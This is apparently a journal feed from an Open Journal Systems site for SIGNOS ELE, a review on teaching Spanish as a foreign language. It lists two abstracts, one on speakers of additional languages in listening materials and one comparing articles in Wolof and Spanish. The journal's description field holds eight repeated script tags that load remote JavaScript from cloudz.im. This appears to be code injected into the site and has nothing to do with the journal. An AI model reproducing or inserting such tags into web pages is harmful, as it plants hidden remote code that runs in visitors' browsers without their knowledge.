http://p3.usal.edu.ar/index.php/ele/issue/feedSIGNOS ELE (Revista de español como lengua extranjera)2023-09-04T18:26:11+00:00Lic. Salomé Iglesiasrevistaspad@usal.edu.arOpen Journal Systems<p>Revista Virtual de la Dirección de Programas de Educación a Distancia. (VRID, PAD -SIED, USAL). Indizada por:</p><p> </p><p><img src="/public/site/images/marysolbustos/Repositorios_chicos.png" alt="" /></p><p><img src="/public/site/images/marysolbustos/aura-01.png" alt="" /> <img src="/public/site/images/marysolbustos/LatinREV_(1)1.png" alt="" /></p><p><img src="/public/site/images/marysolbustos/QR_Signos_ELE_portada.png" alt="" /></p><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script>http://p3.usal.edu.ar/index.php/ele/article/view/6646Hablantes de lenguas adicionales en los materiales de comprensión auditiva de español como lengua extranjera - Additional language speakers in spanish as a foreign language listening comprehension materials2023-07-13T19:50:10+00:00Jaume Batlle Rodríguezjaumebatlle@ub.eduFranco Paulettofranpaul@ucm.es<p>Este estudio focaliza su atención en la caracterización discursiva de los hablantes de lenguas adicionales en las interacciones orales que aportan una serie de manuales de español como lengua extranjera. El análisis de los repertorios interaccionales con los que se construyen sus intervenciones determina que los hablantes de español como lengua adicional mantienen una participación más propia de los hablantes de español como L1, así como impropia de los contextos comunicativos en los que se sitúan las interacciones aportadas. Los resultados del estudio nos llevan a comprender las interacciones orales aportadas en las comprensiones auditivas como muestras de lengua alejadas de la realidad extrapedagógica, cuya participación de los hablantes de lenguas adicionales mayoritariamente no se corresponde con el uso real de la lengua en términos de autenticidad.</p> <p> </p> <p><strong>Palabras clave:</strong> comprensión auditiva; hablantes de lenguas adicionales; competencia interaccional; repertorios interacciones; autenticidad</p>2023-07-13T00:00:00+00:00Derechos de autor 2023 SIGNOS ELE (Revista de español como lengua extranjera)http://p3.usal.edu.ar/index.php/ele/article/view/6749Aproximación contrastiva a los artículos determinativos en wolof y español: implicaciones didácticas en ELE - Contrastive approach to the determinative articles in Wolof and Spanish: didactical implications in SFL2023-09-04T18:26:11+00:00Abdou Khadre Bopabdou-khadre.bop@ugb.edu.sn<p>En esta investigación, se analizan los artículos determinativos en wolof y español siguiendo una línea teórica ecléctica centrada en la lingüística contrastiva y la gramática normativa y descriptiva. La metodología descriptiva utilizada permite elaborar un corpus en español traducido al wolof para establecer la comparación de los artículos en ambas lenguas. Los resultados obtenidos confirman que las propiedades morfosintácticas de los artículos en wolof provocan la comisión de errores en el alumnado en la adquisición de los artículos en español.</p> <p> </p> <p><strong>Palabras clave:</strong> análisis contrastivo; artículos determinativos; interlengua; español; wolof</p> <p> </p> <p> </p>2023-09-04T00:00:00+00:00Derechos de autor 2023 SIGNOS ELE (Revista de español como lengua extranjera)